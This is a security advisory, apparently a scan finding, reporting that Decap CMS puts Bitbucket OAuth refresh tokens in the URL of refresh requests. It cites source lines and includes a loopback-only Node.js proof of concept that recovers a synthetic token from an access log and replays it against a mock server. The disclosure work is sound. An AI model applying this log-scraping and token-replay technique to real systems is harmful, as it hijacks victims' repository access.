Bitbucket OAuth refresh token exposed in request URL
Description
In the non-implicit Bitbucket authentication flow, Decap CMS places the OAuth refresh token in the query string of a POST /auth/refresh request while sending an empty request body. HTTPS protects the request in transit from passive network observers, but the token remains visible in the HTTP request target to the authentication service, TLS-terminating proxies, and any logging or tracing system that records full URLs.
Details
At revision 14c5d5183ffdaf9927d78f8b3f2ae7e745690252, the non-implicit Bitbucket refresh path is:
packages/decap-cms-backend-bitbucket/src/implementation.ts:303-320detects a Bitbucket401response whose message begins withaccess token expired.implementation.ts:258-285callsgetRefreshedAccessToken(), creates aNetlifyAuthenticator, and passes the storedthis.refreshTokento.refresh().packages/decap-cms-lib-auth/src/netlify-auth.js:132-153serializes the credential into the request URL:
const url = `${this.base_url}/${this.auth_endpoint}/refresh?provider=${provider}&site_id=${siteID}&refresh_token=${refresh_token}`;
const refreshPromise = fetch(url, { method: 'POST', body: '' }).then(res => res.json());The resulting request has this shape:
POST /auth/refresh?provider=bitbucket&site_id=decapcms.example&refresh_token=leaked-refresh-secret HTTP/1.1
Host: api.decapcms.example
Content-Length: 0Because the credential is part of the request target, changing the HTTP method to POST does not keep it out of URL-based telemetry. Percent-encoding the value would not solve the issue either, because a logged encoded token remains recoverable.
PoC
The included PoC is loopback-only and uses synthetic credentials. It starts an ephemeral HTTP server, sends the same empty-body POST shape used by NetlifyAuthenticator.refresh, records the request target, extracts the demonstration refresh token from that log entry, and replays it against a mock refresh service.
From the finding directory in the scan bundle, run:
import assert from 'node:assert/strict';
import http from 'node:http';
const REFRESH_TOKEN = 'leaked-refresh-secret ';
const ACCESS_TOKEN = 'repo-access-token-demo';
const accessLog = [];
let tokenIsActive = true;
let isFirstRequest = true;
const server = http.createServer((request, response) => {
accessLog.push(request.url);
console.log(`[access] ${request.method} ${request.url}`);
response.setHeader('Content-Type', 'application/json');
// 503 on first request: upstream fails before token is consumed.
if (isFirstRequest) {
isFirstRequest = false;
response.statusCode = 503;
response.end(JSON.stringify({ error: 'mock upstream unavailable' }));
return;
}
if (request.method !== 'POST' || !tokenIsActive) {
response.statusCode = 401;
response.end(JSON.stringify({ error: 'invalid refresh token' }));
return;
}
tokenIsActive = false;
response.statusCode = 200;
response.end(JSON.stringify({
token: ACCESS_TOKEN,
refresh_token: 'rotated-refresh-token-demo',
}));
});
await new Promise((resolve, reject) => {
server.once('error', reject);
server.listen(0, '127.0.0.1', resolve);
});
try {
const address = server.address();
assert(address && typeof address === 'object');
const origin = `http://127.0.0.1:${address.port}`;
const vulnerableURL =
`${origin}/auth/refresh?provider=bitbucket&site_id=cms.example` +
`&refresh_token=${REFRESH_TOKEN}`;
// Simulates NetlifyAuthenticator.refresh: token in URL, empty POST body.
const victimResponse = await fetch(vulnerableURL, { method: 'POST', body: '' });
assert.equal(victimResponse.status, 503);
console.log(`[+] refresh failed before consumption: HTTP ${victimResponse.status}`);
// Access-log reader recovers the secret from the logged URL.
const loggedURL = new URL(accessLog[0], origin);
const recoveredToken = loggedURL.searchParams.get('refresh_token');
assert.equal(recoveredToken, REFRESH_TOKEN);
console.log(`[+] access-log reader recovered: ${recoveredToken}`);
// Replay: observer has every input needed to complete the refresh.
const replayResponse = await fetch(new URL(accessLog[0], origin), { method: 'POST', body: '' });
assert.equal(replayResponse.status, 200);
const replayBody = await replayResponse.json();
assert.equal(replayBody.token, ACCESS_TOKEN);
console.log(`[+] replay returned access token`);
} finally {
await new Promise(resolve => server.close(resolve));
}node poc/refresh-token-url-leak.mjsNode.js 18 or later is required. Expected output:
[access] POST /auth/refresh?provider=bitbucket&site_id=cms.example&refresh_token=leaked-refresh-secret
[+] refresh failed before consumption: HTTP 503
[+] access-log reader recovered: leaked-refresh-secret
[access] POST /auth/refresh?provider=bitbucket&site_id=cms.example&refresh_token=leaked-refresh-secret
[+] replay returned access tokenThe first request deliberately receives 503 before token consumption. This demonstrates the conservative case where a TLS terminator or proxy logs the credential but the provider-side exchange fails. The second request proves that the complete client-visible replay input can be recovered from the log. It does not claim to reproduce Bitbucket's real token lifetime or rotation behavior.
Impact
A Bitbucket OAuth refresh token can be exchanged for an access token carrying the victim's repository authorization, creating confidentiality and integrity impact against repositories accessible through the grant. Exploitation nevertheless requires access to an unredacted URL-bearing log or tracing surface and a refresh token that remains usable at the time of exchange.
The issue maps most closely to CWE-598 because sensitive information is placed in a query string. Although CWE-598's title refers to GET requests, the exposure mechanism is the same here: the secret is in the URI and is therefore captured by request-target logging even though the method is POST.